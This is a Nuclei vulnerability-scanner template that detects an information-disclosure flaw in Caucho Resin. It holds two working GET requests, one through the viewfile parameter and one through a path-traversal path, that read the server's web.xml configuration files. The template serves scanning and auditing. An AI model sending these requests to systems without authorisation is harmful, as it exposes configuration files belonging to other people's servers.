id: caucho-resin-info-disclosure

info:
  name: Caucho Resin - Information Disclosure
  author: pikpikcu
  severity: info
  description: Caucho Resin contains an information disclosure vulnerability. The application does not properly sanitize user-supplied input. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://www.exploit-db.com/exploits/27888
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
    cvss-score: 0
    cwe-id: CWE-200
  metadata:
    max-request: 2
  tags: exposure,resin,caucho,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/resin-doc/viewfile/?file=/WEB-INF/resin-web.xml" # Version: 3.0.17/3.0.18
      - "{{BaseURL}}/%20../web-inf/web.xml" # Version: 3.1.1

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<web-app"
          - "</web-app>"
        part: body
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210082750cb5ea98d1c82d63f17f6736f62b6873bebdea9f25aa6e724c911cc5c4c20220636dbbcd6e246c6bd61c2b221732f7f69286a2b7075819d9a88d2c5d092ebacc:922c64590222798bb761d5b6d8e72950